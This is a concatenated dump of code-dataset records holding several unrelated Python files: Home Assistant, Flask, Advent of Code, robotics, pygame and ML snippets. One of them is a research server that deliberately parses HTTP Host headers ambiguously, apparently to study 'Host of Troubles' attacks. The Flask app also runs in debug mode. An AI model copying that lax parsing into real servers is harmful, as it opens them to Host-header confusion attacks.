group = GROUP_MAP.get(self.group, f\"Group {self.group}\")\n self._attr_name += f\" ({group})\"\n\n @callback\n def update_callback(self, event: str, extra_data: dict = None) -> None:\n if event == \"button\":\n event = BUTTON_PRESS_TYPES.get(extra_data[\"click_type\"], \"unknown\")\n if not event == \"unknown\":\n extra_data.pop(\"click_type\")\n self._trigger_event(event, extra_data)\n self.async_write_ha_state()\n\n async def async_added_to_hass(self) -> None:\n self.async_on_remove(\n self.channel.register_update_callback(self.update_callback)\n )\n","repo_name":"Mat931/digitalstrom-homeassistant","sub_path":"custom_components/digitalstrom/event.py","file_name":"event.py","file_ext":"py","file_size_in_byte":3018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4878324049","text":"import os\nfrom os import name\nfrom flask import (\n Flask,\n render_template,\n jsonify,\n request,\n redirect)\nimport csv\n\n#################################################\n# Flask Setup\n#################################################\napp = Flask(__name__)\n\n#################################################\n# Database Setup\n#################################################\n\nfrom flask_sqlalchemy import SQLAlchemy\n\nfrom secrets import pw\n# app.config['SQLALCHEMY_DATABASE_URI'] = \"postgresql://postgres:\"+ pw +\"@localhost:5432/wine_db\"\napp.config['SQLALCHEMY_DATABASE_URI'] = \"sqlite:///wine_db.sqlite\"\n\n# Remove tracking modifications\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n\nwine_db = SQLAlchemy(app)\n\nclass Wines(wine_db.Model):\n __tablename__ = 'wines_clean'\n # id = wine_db.Column(wine_db.Integer, primary_key=True)\n Vintage = wine_db.Column(wine_db.String)\n Country = wine_db.Column(wine_db.String)\n County = wine_db.Column(wine_db.String)\n Designation = wine_db.Column(wine_db.String)\n Points = wine_db.Column(wine_db.Integer)\n Price = wine_db.Column(' Price ', wine_db.String)\n Province = wine_db.Column(wine_db.String)\n Title = wine_db.Column(wine_db.String, primary_key=True)\n Variety = wine_db.Column(wine_db.String)\n Winery = wine_db.Column(wine_db.String)\n Year = wine_db.Column(wine_db.Integer)\n\n def __repr__(self):\n return '' % (self.name)\n\n\n#create route that renders index.html template\n@app.route(\"/\")\ndef home():\n return render_template(\"index.html\")\n\n\n@app.route(\"/api/wine_data2\")\ndef wine_data2():\n results = wine_db.session.query(\n Wines.Vintage,\n Wines.Country,\n Wines.County,\n Wines.Designation,\n Wines.Points,\n Wines.Price,\n Wines.Province,\n Wines.Title,\n Wines.Variety,\n Wines.Winery,\n Wines.Year\n ).limit(10).all()\n\n \n vintage = [result[0] for result in results]\n country = [result[1] for result in results]\n county = [result[2] for result in results]\n designation = [result[3] for result in results]\n points = [result[4] for result in results]\n price = [result[5] for result in results]\n province = [result[6] for result in results]\n title = [result[7] for result in results]\n variety = [result[8] for result in results]\n winery = [result[9] for result in results]\n year = [result[10] for result in results]\n\n wine_varieties = [{\n \"title\": title, \n \"vintage\": vintage,\n \"country\": country,\n \"county\": county,\n \"designation\": designation,\n \"points\": points,\n \"price\": price,\n \"province\": province,\n \"variety\": variety, \n \"winery\": winery,\n \"year\": year \n }]\n \n\n return jsonify(wine_varieties)\n\n@app.route(\"/api/wine_data\")\ndef wine_data():\n results = wine_db.session.query(\n Wines.Vintage,\n Wines.Country,\n Wines.County,\n Wines.Designation,\n Wines.Points,\n Wines.Price,\n Wines.Province,\n Wines.Title,\n Wines.Variety,\n Wines.Winery,\n Wines.Year\n ).limit(10).all()\n return jsonify(results)\n\n@app.route(\"/table\")\ndef table():\n return render_template(\"tablesearch.html\")\n\n@app.route(\"/table2\")\ndef table2():\n return render_template(\"index2donotuse.html\")\n\n@app.route(\"/redvarietals\")\ndef redvarietals():\n return render_template(\"redvarietals.html\")\n\n@app.route(\"/rosevarietals\")\ndef rosevarietals():\n return render_template(\"rosevarietals.html\")\n\n@app.route(\"/whitevarietals\")\ndef whitevarietals():\n return render_template(\"whitevarietals.html\")\n\n@app.route(\"/sparklingvarietals\")\ndef sparklingvarietals():\n return render_template(\"sparklingvarietals.html\")\n\n@app.route(\"/topwinesbycountry\")\ndef top_country_wines():\n return render_template(\"winesbycountry.html\")\n\n@app.route(\"/italy\")\ndef italy():\n return render_template(\"test.html\")\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n","repo_name":"jinemec23/Project_2_New","sub_path":"Items/app_jn.py","file_name":"app_jn.py","file_ext":"py","file_size_in_byte":4016,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"31547583758","text":"def solution_part1(fname=\"inputs/day15\"):\n with open(fname, \"r\") as f:\n TARGET_Y = 2000000\n\n sensor_map: dict[tuple[int, int], tuple[int, int]] = {}\n y_objects: set[int] = set()\n for line in f:\n spl = line.split()\n sensor_pos = (int(spl[2][2:-1]), int(spl[3][2:-1]))\n closest_beacon = (int(spl[-2][2:-1]), int(spl[-1][2:]))\n sensor_map[sensor_pos] = closest_beacon\n if sensor_pos[1] == TARGET_Y:\n y_objects.add(sensor_pos[0])\n if closest_beacon[1] == TARGET_Y:\n y_objects.add(closest_beacon[0])\n\n y_positions: set[int] = set()\n for sensor_pos in sensor_map:\n closest_beacon = sensor_map[sensor_pos]\n manhattan_distance = abs(sensor_pos[0] - closest_beacon[0]) + abs(sensor_pos[1] - closest_beacon[1])\n\n for i in range(sensor_pos[0] - (manhattan_distance - abs(sensor_pos[1] - TARGET_Y)), sensor_pos[0] + (manhattan_distance - abs(sensor_pos[1] - TARGET_Y)) + 1):\n y_positions.add(i)\n\n for x in y_objects:\n y_positions.remove(x)\n\n print(len(y_positions))\n\ndef solution_part2(fname=\"inputs/day15\"):\n with open(fname, \"r\") as f:\n B = 4000000\n\n shapes: dict[tuple[int, int], int] = {}\n\n for line in f:\n spl = line.split()\n sensor_pos = (int(spl[2][2:-1]), int(spl[3][2:-1]))\n closest_beacon = (int(spl[-2][2:-1]), int(spl[-1][2:]))\n shapes[sensor_pos] = abs(sensor_pos[0] - closest_beacon[0]) + abs(sensor_pos[1] - closest_beacon[1])\n\n # Check range at each height\n for y in range(B + 1):\n if y % 100000 == 0:\n print(f\"y = {y}\")\n # Initially, there are none\n x_ranges: list[tuple[int, int]] = []\n for sensor_pos in shapes:\n manhattan_distance = shapes[sensor_pos]\n # The range of where y values are\n x_range = (max(sensor_pos[0] - (manhattan_distance - abs(sensor_pos[1] - y)), 0),\n min(sensor_pos[0] + (manhattan_distance - abs(sensor_pos[1] - y)), B))\n if x_range[1] < 0 or x_range[0] > B or x_range[0] > x_range[1]:\n continue\n i = 0\n while i < len(x_ranges):\n current_range = x_ranges[i]\n # If it intersects, update\n if (x_range[0] >= current_range[0] - 1 and x_range[0] <= current_range[1] + 1) or \\\n (x_range[1] >= current_range[0] - 1 and x_range[1] <= current_range[1] + 1) or \\\n (current_range[1] >= x_range[0] - 1 and current_range[1] <= x_range[1] + 1) or \\\n (current_range[0] >= x_range[0] - 1 and current_range[0] <= x_range[1] + 1):\n x_range = (min(x_range[0], current_range[0]), max(x_range[1], current_range[1]))\n x_ranges.pop(i)\n else:\n i += 1\n if x_range == (0, B):\n break\n x_ranges.append(x_range)\n else:\n x_val = x_ranges[0][1] + 1 if x_ranges[0][1] < B else x_ranges[1][1] + 1\n print(x_val * 4000000 + y)\n return\n\nsolution_part2()\n","repo_name":"jamie-large/Advent-of-Code-2022","sub_path":"day15.py","file_name":"day15.py","file_ext":"py","file_size_in_byte":3353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19346580506","text":"import ast\nfrom collections import namedtuple\nimport datetime\n\nprint('test')\n\nflight_list_a = list()\nflight_list_b = list()\nflight_list_c = list()\nflight_list_d = list()\nwith open('flight.txt') as f:\n for line in f:\n flight_list_a.append(line)\n\nflight_list_c = [line.rstrip('\\n') for line in open('flight.txt')]\n\n\n#print('flight_list_a {}' .format(flight_list_a))\n#print('flight_list_b {}' .format(flight_list_b))\n#print('flight_list_c {}' .format(flight_list_c))\n#print('flight_list_d {}' .format(str(flight_list_c).strip('[]')))\n\nstringd = '[' + str(flight_list_c).strip('[]') + ']'\n#print('flight_list_e {}' .format(stringd))\n\nmylist = ast.literal_eval(stringd)\n#print('flight_list_f {}' .format(mylist))\n#print('flight_list_f {}' .format(mylist[1]))\n\nmylist2 = ast.literal_eval(\"['foo', ['cat', ['ant', 'bee'], 'dog'], 'bar', 'baz']\")\n#print('flight_list_g {}' .format(mylist2[1][1][1]))\n\n\nlistFlight = list()\nlistAirportA = list()\nlistAirportB = list()\nlistTo = list()\nlistFrom = list()\n\nFlight = namedtuple('Flight', ['orig', 'dest', 'date_out', 'date_in', 'price', 'flight_number'])\n\nflightTo = Flight(orig='FKB', dest='STR', date_out=datetime.datetime(2019, 5, 25, 6, 35), date_in=datetime.datetime(2019, 5, 25, 6, 35), price=12.12, flight_number='FR-1111')\nflightFrom = Flight(orig='STR', dest='FKB', date_out=datetime.datetime(2019, 5, 25, 6, 35), date_in=datetime.datetime(2019, 5, 25, 6, 35), price=12.12, flight_number='FR-2222')\n\nlistTo.append(flightTo)\nlistFrom.append(flightFrom)\nlistAirportA.append(listTo)\nlistAirportA.append(listFrom)\nlistAirportB.append(listTo)\nlistAirportB.append(listFrom)\nlistFlight.append(listAirportA)\nlistFlight.append(listAirportB)\nprint(listFlight)\n\nwith open('flight2.txt', 'w') as file_handler:\n for item in listFlight:\n file_handler.write(\"{}\\n\".format(item))\n\nflight_list_1 = list()\nwith open('flight2.txt') as f:\n for line in f:\n flight_list_1.append(line)\n\nflight_list_1 = [line.rstrip('\\n') for line in open('flight2.txt')]\n\nprint('flight_list_1 {}' .format(flight_list_1))\n\n\n","repo_name":"DanielBuan/Ryanpy","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2058,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4040378285","text":"import socket\nimport re\nimport argparse\nimport json\n\n# 0: Reject; 1: Prefer first; 2: Prefer last\nmultiple_host = 1\n\n# 0: Not recognize; 1: Recognize; 2: Reject\nspace_preceded_host_first = 1\n\n# 0: Line folding; 1: Not recognize\nspace_preceded_host_other = 0\n\n# 0: Not Recognize; 1: Recognize\nspace_succeed_host = 1\n\n# 0: Recognize HTTP, not others\n# 1: Recognize HTTP/S, reject others\n# 2: Recognize HTTP/S, not others\n# 3: Recognize any schema\nschema_of_absolute_URL = 0\n\n# 0: Absolute-URL; 1: Host header\npreference = 0\n\ndef request_handler(new_client_socket):\n\n request_data = new_client_socket.recv(1024).decode()\n print(request_data)\n request_body = request_data.splitlines(True)[-1]\n\n # host step0: collect potential headers\n request_line = request_data.splitlines(True)[0]\n request_headers = request_data.splitlines(True)[1:-2]\n first_header = request_headers[0]\n other_headers = request_headers[1:]\n\n status_code = 200\n \n recognized_headers = []\n host_headers = []\n host_header = \"\"\n host_URL = \"\"\n host = \"\"\n\n # host step1: recognize headers\n # host step1-1: first header\n if first_header[0] == \" \":\n if space_preceded_host_first == 1:\n recognized_headers.append(first_header[1:])\n elif space_preceded_host_first == 2:\n status_code = 400\n elif first_header[-3] == \" \":\n if space_succeed_host == 1:\n recognized_headers.append(first_header[:-3] + first_header[-2:])\n else:\n recognized_headers.append(first_header)\n # host step1-2: other headers\n if len(other_headers) > 0:\n for other_header in other_headers:\n if other_header[0] == \" \":\n if space_preceded_host_other == 0:\n recognized_headers[-1] = recognized_headers[-1][:-2] + other_header\n elif other_header[-3] == \" \":\n if space_succeed_host == 1:\n recognized_headers.append(first_header[:-3] + first_header[-2:])\n else:\n recognized_headers.append(other_header) \n\n # host step2: choose a host header\n host_headers = [header for header in recognized_headers if header.startswith(\"Host:\")]\n if len(host_headers) > 1:\n if multiple_host == 0:\n status_code = 400\n elif multiple_host == 1:\n host_header = host_headers[0]\n elif multiple_host == 2:\n host_header = host_header[-1]\n elif len(host_headers) == 1:\n host_header = host_headers[0]\n\n # host step3: get URL host\n absolute_URL = request_line.split(\" \")[1]\n if absolute_URL != \"/\":\n absolute_host = re.sub(\"(.*): // \", \"\", absolute_URL)\n if absolute_URL.startswith(\"http://\"):\n host_URL = absolute_host\n elif absolute_URL.startswith(\"https://\"):\n if schema_of_absolute_URL != 0:\n host_URL = absolute_host\n else:\n if schema_of_absolute_URL == 1:\n status_code = 400\n elif schema_of_absolute_URL == 3:\n host_URL = absolute_host\n\n # host step3: choose between host header and absolute-URL\n if host_URL != \"\" and preference == 0:\n host = host_URL\n else:\n host = host_header \n\n response_line = \"HTTP/1.1 200 OK\\r\\n\"\n if status_code == 400:\n response_line = \"HTTP/1.1 400 Bad Request\\r\\n\"\n \n response_headers = [\"server: Apache Tomcat/5.0.12\\r\\n\",\n \"content-type: text/css\\r\\n\",\n \"cache-control: public, max-age=1000\\r\\n\"]\n response_blank = \"\\r\\n\"\n response_body = \"\"\n print(request_body) \n try:\n request_dict = json.loads(json.loads(request_body))\n response_body = request_dict[\"number\"]\n except:\n response_body = \"\"\n if status_code == 400:\n response_body = \"\"\n\n response_data = response_line\n for header in response_headers:\n response_data = response_data + header\n response_data = response_data + response_blank\n response_data = response_data + response_body\n\n new_client_socket.send((response_data.encode()))\n new_client_socket.close()\n\nParser = argparse.ArgumentParser()\nParser.add_argument('-m', '--multiple_host', help = '多host头')\nParser.add_argument('-f', '--space_preceded_host_first', help = '首个头空格前缀')\nParser.add_argument('-o', '--space_preceded_host_other', help = '其余头空格前缀')\nParser.add_argument('-s', '--space_succeed_host', help = '头空格后缀')\nParser.add_argument('-a', '--schema_of_absolute_URL', help = '可接受的绝对URL格式')\nParser.add_argument('-p', '--preference', help = '同时存在host头和绝对URL时的选择')\nArgs = Parser.parse_args()\nif Args.multiple_host:\n multiple_host = int(Args.multiple_host)\nif Args.space_preceded_host_first:\n space_preceded_host_first = int(Args.space_preceded_host_first)\nif Args.space_preceded_host_other:\n space_preceded_host_other = int(Args.space_preceded_host_other)\nif Args.space_succeed_host:\n space_succeed_host = int(Args.space_succeed_host)\nif Args.schema_of_absolute_URL:\n schema_of_absolute_URL = int(Args.schema_of_absolute_URL)\nif Args.preference:\n preference = int(Args.preference)\n\ntcp_server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ntcp_server_socket.bind((\"\", 5555))\ntcp_server_socket.listen(128)\nwhile True:\n new_client_socket = tcp_server_socket.accept()[0]\n request_handler(new_client_socket)\n","repo_name":"Frost-Foliage/Host_of_Troubles_Server","sub_path":"Server_Simulation.py","file_name":"Server_Simulation.py","file_ext":"py","file_size_in_byte":5438,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"36141277990","text":"from PIL import Image\nimport os\nimport numpy as np\n\npath = '/home/extraspace/Datasets/cityscapes/Depth_Training_Extra/leftImg8bit'\nnum = 0\n\nwith open('/home/taha_a@WMGDS.WMG.WARWICK.AC.UK/Documents/ss_fsd/AdaBins/AdaBins/train_test_inputs/cityscapes_train_extra_edited.txt', 'r') as r:\n for line in r:\n line = line.split()[0]\n p = os.path.join(path, line)\n size = len(np.array(Image.open(p)).shape)\n if size == 3:\n num += 1\n else:\n print(p, size)\n\n print('total number', num)\n","repo_name":"alimtaha/SS_FSD_New","sub_path":"AdaBins/AdaBins/test_dims.py","file_name":"test_dims.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72862150507","text":"import time\nimport logging\n\nfrom sphero_base import init_sphero, Sphero\n\n\nclass SpheroPlus(Sphero):\n def jump(self, speed=70, left=255, right=253, d1=0.1, d2=0.2):\n self.roll(speed, 0)\n time.sleep(d1)\n self.send_raw_motor(1, left, 1, right)\n time.sleep(d2)\n self.send_set_stabilization()\n self.stop()\n\n def rainbow(self, delay=0.15, repeat=1):\n colors = [(255, 0, 0),\n (255, 165, 0),\n (255, 255, 0),\n (0, 128, 0),\n (0, 0, 255),\n (75, 0, 130),\n (238, 130, 238)]\n for c in colors * repeat:\n self.set_rgb(*c)\n time.sleep(delay)\n\n self.set_rgb(0, 0, 0)\n\n\nif __name__ == '__main__':\n import argparse\n\n parser = argparse.ArgumentParser()\n parser.add_argument('address', help='Sphero Bluetooth address')\n args = parser.parse_args()\n\n logging.basicConfig(level=logging.DEBUG)\n\n s = init_sphero(args.address, SpheroPlus)\n\n s.rainbow(repeat=3)\n\n time.sleep(2.0)\n\n for _ in range(3):\n s.set_rgb(0, 255, 0)\n time.sleep(0.2)\n s.set_rgb(0, 0, 0)\n time.sleep(0.15)\n\n time.sleep(2.0)\n s.ping()\n\n s.roll(100, 0)\n time.sleep(0.3)\n s.stop()\n time.sleep(0.7)\n\n s.roll(100, 180)\n time.sleep(0.5)\n s.off()\n time.sleep(0.3)\n s.stop()\n\n s.disconnect()\n","repo_name":"arkadini/sphero_base","sub_path":"scripts/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1412,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"38339575680","text":"from tensorflow.keras.layers import TextVectorization\nimport pickle\n\n# set up Dataset object\ndef format_dataset(eng, fra):\n \"\"\"Take an English and a French sentence pair, convert into input and target.\n The input is a dict with keys `encoder_inputs` and `decoder_inputs`, each\n is a vector, corresponding to English and French sentences respectively.\n The target is also vector of the French sentence, advanced by 1 token. All\n vector are in the same length.\n\n The output will be used for training the transformer model. In the model we\n will create, the input tensors are named `encoder_inputs` and `decoder_inputs`\n which should be matched to the keys in the dictionary for the source part\n \"\"\"\n eng = eng_vectorizer(eng)\n fra = fra_vectorizer(fra)\n source = {\"encoder_inputs\": eng,\n \"decoder_inputs\": fra[:, :-1]}\n target = fra[:, 1:]\n return (source, target)\n\ndef make_dataset(pairs, batch_size=64):\n \"\"\"Create TensorFlow Dataset for the sentence pairs\"\"\"\n # aggregate sentences using zip(*pairs)\n eng_texts, fra_texts = zip(*pairs)\n # convert them into list, and then create tensors\n dataset = tf.data.Dataset.from_tensor_slices((list(eng_texts), list(fra_texts)))\n return dataset.shuffle(2048) \\\n .batch(batch_size).map(format_dataset) \\\n .prefetch(16).cache()\n\n\n# load text data and vectorizer weights\nwith open(\"data/vectorized.pickle\", \"rb\") as fp:\n data = pickle.load(fp)\n\ntrain_pairs = data[\"train\"]\nval_pairs = data[\"val\"]\ntest_pairs = data[\"test\"] # not used\n\neng_vectorizer = TextVectorization.from_config(data[\"engvec_config\"])\neng_vectorizer.set_weights(data[\"engvec_weights\"])\nfra_vectorizer = TextVectorization.from_config(data[\"fravec_config\"])\nfra_vectorizer.set_weights(data[\"fravec_weights\"])\n\ntrain_ds = make_dataset(train_pairs)\nval_ds = make_dataset(val_pairs)\n","repo_name":"air01a/ml_english_french_translator","sub_path":"dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":1898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"5561691487","text":"from fractions import Fraction\nfrom music21 import *\n\n\nclass PostprocessMidi:\n def __init__(self):\n self.output_notes = []\n self.last_instrument = \"\"\n self.last_duration = \"\"\n self.offset = 0\n self.path_output = \"data/output_songs/\"\n\n def compute_song(self, data, name):\n data = data.split(\" \")\n for el in data:\n val = el.split(\"_\")\n if len(val) > 1:\n if self.last_instrument == val[0]:\n self.offset += last_duration\n\n if '.' in val[1]:\n notes_in_chord = val[1].replace('.', \" \")\n new_chord = chord.Chord(notes_in_chord)\n new_chord.duration.quarterLength = Fraction(val[2])\n new_chord.storedInstrument = val[0]\n new_chord.offset = self.offset\n self.output_notes.append(new_chord)\n\n else:\n new_note = note.Note(val[1])\n new_note.duration.quarterLength = Fraction(val[2])\n new_note.storedInstrument = val[0]\n new_note.offset = self.offset\n self.output_notes.append(new_note)\n\n last_instrument = val[0]\n last_duration = Fraction(val[2])\n\n if val[0] == \"nextOffset\":\n if last_instrument != \"nextOffset\":\n last_instrument = \"nextOffset\"\n self.offset += 0.35\n\n midi_stream = stream.Stream(self.output_notes)\n midi_stream.write('midi', fp=self.path_output+str(name)+\".mid\")","repo_name":"Tensor-Reloaded/FII-Muzical-2020","sub_path":"core/postprocessing.py","file_name":"postprocessing.py","file_ext":"py","file_size_in_byte":1624,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"30153189981","text":"import requests\nfrom pprint import pprint\n\n\ndef search_movie(title):\n pass\n # 여기에 코드를 작성합니다.\n BASE_URL = 'https://api.themoviedb.org/3'\n path = '/search/movie'\n params = {\n 'api_key': '7ab85c2ccd889c17aa8c871d33b927e5', # 키값 입력\n 'language': 'ko-KR',\n 'region': 'KR',\n 'query': title\n }\n\n response = requests.get(BASE_URL+path, params=params).json()\n res = response['results']\n for n in res:\n if title in n['title']:\n return n['id']\n else:\n return None\n\n # movie_dict = requests.get(BASE_URL+path, params=params).json().get('results', None)\n\n # if movie_dict == None:\n # return None\n # search_movies = [movie.get('title') for movie in movie_dict]\n # return search_movies\n\n\n# 아래의 코드는 수정하지 않습니다.\nif __name__ == '__main__':\n \"\"\"\n 제목에 해당하는 영화가 있으면 해당 영화의 id 반환\n 검색한 결과 영화가 없다면 None을 반환\n \"\"\"\n print(search_movie('기생충'))\n # 496243\n print(search_movie('그래비티'))\n # 959101\n print(search_movie('검색할 수 없는 영화'))\n # None\n","repo_name":"Imseongjoo/TIL","sub_path":"2023_01/Week_02/Day_05/PJT-02/04.py","file_name":"04.py","file_ext":"py","file_size_in_byte":1204,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"28386411492","text":"import pygame\n\n# THIS SCRIPT IS FOR THE MAIN MENU AND CONTAINS THE FOLLOWING BUTTONS \n# 1) CHARACTER (Grayed out because the character feature hasn't been added yet)\n# 2) PLAY GAME (Stars the game)\n# 3) ACHIEVEMENTS (Grayed out because the character and achievements feature hasn't been added yet)\n# 4) OPTIONS (Will open the options menu to change the settings)\n# 5) EXIT BUTTON (Will close the game loop and exit the game application)\n\n# =================================================\n# ============== [TABLE OF CONTENTS] ==============\n# (EVERY FUNCTION IN THIS SCRIPT) \n# * Is used to add a description:\n# MainMenu(Class){\n# __init__() *called when the class is created*\n\n# -[SETUP FUNCTIONS BELOW]-\n# SetupImages(self) * Setting up all the images, and rect required for this menu UI\n# SetupScreen(self, shooter_game, window, window_width, BLACK) * Setting up the important variables used in this script.\n\n# -[UPDATE FUNCTIONS BELOW]-\n# update(self) * The main update function for this script, gets called every frame by the ShooterGame script\n\n# } END OF MainMenu(Class)\n\n# set up the MainMenu class\nclass MainMenu(pygame.sprite.Sprite):\n def __init__(self, window, window_width, BLACK, shooter_game):\n super().__init__()\n\n # These are called at the start of the game when the MainMenu class is first created\n self.SetupImages()\n self.SetupScreen(shooter_game, window, window_width, BLACK) \n\n # ====================================================================\n # ====================== [SETUP FUNCTIONS BELOW] =====================\n\n def SetupImages(self):\n # Setting up all the images, and rect required for this menu UI\n\n # Character Button\n self.character_button_image = pygame.image.load(\"UI/character_button.png\").convert() # load the image and convert it to a Surface object\n self.character_button_image.set_colorkey((255, 255, 255)) # set the white color to be transparent\n self.character_button_rect = self.character_button_image.get_rect()\n\n # play game Button\n self.play_game_button_image = pygame.image.load(\"UI/play_game_button.png\").convert() # load the image and convert it to a Surface object\n self.play_game_button_image.set_colorkey((255, 255, 255)) # set the white color to be transparent\n self.play_game_button_rect = self.play_game_button_image.get_rect()\n\n # achievements Button\n self.achievements_button_image = pygame.image.load(\"UI/achievements_button.png\").convert() # load the image and convert it to a Surface object\n self.achievements_button_image.set_colorkey((255, 255, 255)) # set the white color to be transparent\n self.achievements_button_rect = self.achievements_button_image.get_rect()\n\n # options Button\n self.options_button_image = pygame.image.load(\"UI/options_button.png\").convert() # load the image and convert it to a Surface object\n self.options_button_image.set_colorkey((255, 255, 255)) # set the white color to be transparent\n self.options_button_rect = self.options_button_image.get_rect()\n\n # exit Button\n self.exit_button_image = pygame.image.load(\"UI/exit_button.png\").convert() # load the image and convert it to a Surface object\n self.exit_button_image.set_colorkey((255, 255, 255)) # set the white color to be transparent\n self.exit_button_rect = self.exit_button_image.get_rect()\n\n self.click_shadow_button_image = pygame.image.load(\"UI/click_shadow_button.png\").convert() # load the image and convert it to a Surface object\n self.click_shadow_button_image.set_colorkey((255, 255, 255)) # set the white color to be transparent\n self.click_shadow_button_rect = self.click_shadow_button_image.get_rect()\n self.click_shadow_button_image.set_alpha(200)\n\n self.hover_shadow_button_image = pygame.image.load(\"UI/hover_shadow_button.png\").convert() # load the image and convert it to a Surface object\n self.hover_shadow_button_image.set_colorkey((255, 255, 255)) # set the white color to be transparent\n self.hover_shadow_button_rect = self.hover_shadow_button_image.get_rect()\n self.hover_shadow_button_image.set_alpha(60)\n\n self.disabled_button_image = pygame.image.load(\"UI/hover_shadow_button.png\").convert() # load the image and convert it to a Surface object\n self.disabled_button_image.set_colorkey((255, 255, 255)) # set the white color to be transparent\n self.disabled_button_rect = self.disabled_button_image.get_rect()\n self.disabled_button_image.set_alpha(150)\n\n def SetupScreen(self, shooter_game, window, window_width, BLACK):\n # Setting up the important variables used in this script.\n self.shooter_game = shooter_game\n self.window = window\n self.window_width = window_width\n self.BLACK = BLACK \n self.click = False # Is the left click button down \n self.first_padding = 300 # between the top screen and where the character button is lcoation\n self.buttons_padding = 100 # the padding the remainding buttons will be from each other, top down\n\n # Sets up the locaiton of the UI elements\n self.character_button_rect.center = (int(self.window_width / 2), int(self.first_padding))\n self.play_game_button_rect.center = (self.character_button_rect.center[0], self.character_button_rect.center[1] + self.buttons_padding)\n self.achievements_button_rect.center = (self.play_game_button_rect.center[0], self.play_game_button_rect.center[1] + self.buttons_padding)\n self.options_button_rect.center = (self.achievements_button_rect.center[0], self.achievements_button_rect.center[1] + self.buttons_padding)\n self.exit_button_rect.center = (self.options_button_rect.center[0], self.options_button_rect.center[1] + self.buttons_padding)\n\n # ====================================================================\n # ====================== [UPDATE FUNCTIONS BELOW] ====================\n \n def update(self, mouse_pos, event):\n # Updates with every frame (Called by shooter_game every frame)\n self.window.fill(self.BLACK)\n self.window.blit(self.character_button_image, self.character_button_rect)\n self.window.blit(self.play_game_button_image, self.play_game_button_rect)\n self.window.blit(self.achievements_button_image, self.achievements_button_rect)\n self.window.blit(self.options_button_image, self.options_button_rect)\n self.window.blit(self.exit_button_image, self.exit_button_rect)\n\n # Player presses the left click down\n if event.type == pygame.MOUSEBUTTONDOWN and event.button == 1:\n self.click = True\n \n # CHARACTER BUTTON\n self.window.blit(self.character_button_image, self.character_button_rect)\n self.window.blit(self.disabled_button_image, self.character_button_rect)\n # PLAY GAME BUTTON\n if self.play_game_button_rect.collidepoint(mouse_pos):\n if self.click:\n if event.type == pygame.MOUSEBUTTONUP and event.button == 1: # Player releases left click\n self.shooter_game.ChangeGameScreen(4) # Changing it to the game screen.\n else: # Player has left click down\n self.window.blit(self.click_shadow_button_image, self.play_game_button_rect)\n else:\n self.window.blit(self.hover_shadow_button_image, self.play_game_button_rect)\n else:\n self.window.blit(self.play_game_button_image, self.play_game_button_rect)\n # ACHIEVEMENTS BUTTON\n self.window.blit(self.achievements_button_image, self.achievements_button_rect)\n self.window.blit(self.disabled_button_image, self.achievements_button_rect)\n # OPTIONS BUTTON\n self.window.blit(self.options_button_image, self.options_button_rect)\n self.window.blit(self.disabled_button_image, self.options_button_rect)\n # EXIT BUTTON\n if self.exit_button_rect.collidepoint(mouse_pos):\n if self.click:\n if event.type == pygame.MOUSEBUTTONUP and event.button == 1: # Player releases left click\n self.shooter_game.ExitGame()\n else: # Player has left click down\n self.window.blit(self.click_shadow_button_image, self.exit_button_rect)\n else:\n self.window.blit(self.hover_shadow_button_image, self.exit_button_rect)\n else:\n self.window.blit(self.exit_button_image, self.exit_button_rect)\n\n # Player released the left click\n if event.type == pygame.MOUSEBUTTONUP and event.button == 1:\n self.click = False\n\n \n\n\n\n\n\n\n\n\n\n\n","repo_name":"Foub/undead_swarm","sub_path":"MainMenu.py","file_name":"MainMenu.py","file_ext":"py","file_size_in_byte":8807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"17443254772","text":"import typing as ty\n\n\nclass MisconfiguredConnectError(Exception):\n \"\"\"\n Exception that is raised when the connection function is misconfigured\n with a wrong combination of operations.\n\n Parameters:\n -----------\n msg : str (optional)\n custom exception message that overwrites the default\n \"\"\"\n def __init__(self, msg: ty.Optional[str] = None) -> None:\n if msg is None:\n msg = \"call to connection() misconfigured; check the choice and \" \\\n \"parameterization of all operations\"\n super().__init__(msg)\n","repo_name":"lava-nc/lava-dnf","sub_path":"src/lava/lib/dnf/connect/exceptions.py","file_name":"exceptions.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"37"} +{"seq_id":"41062536247","text":"import copy\nimport math\nimport numpy as np\nimport operator\nimport random\nimport scipy.optimize\nimport threading\nimport time\n\nfrom collections import defaultdict\nfrom typing import Dict, List, Optional, Set, Tuple\n\nfrom .beacon import Beacon\n\n\nclass BeaconLocaliser:\n \"\"\"\n Used to localise beacons based on measurements of the ranges to them from different positions.\n\n See also: https://www.alanzucconi.com/2017/03/13/positioning-and-trilateration/\n \"\"\"\n\n # CONSTRUCTOR\n\n def __init__(self, *, debug: bool = True, max_measurements_per_beacon: int = 50,\n min_receiver_movement: float = 0.01):\n \"\"\"\n Construct a beacon localiser.\n\n :param debug: Whether or not to enable debugging.\n :param max_measurements_per_beacon: The maximum number of measurements we want to retain for each beacon.\n :param min_receiver_movement: The minimum distance (in m) that the receiver must have moved since the\n last measurement for a beacon before a new measurement can be 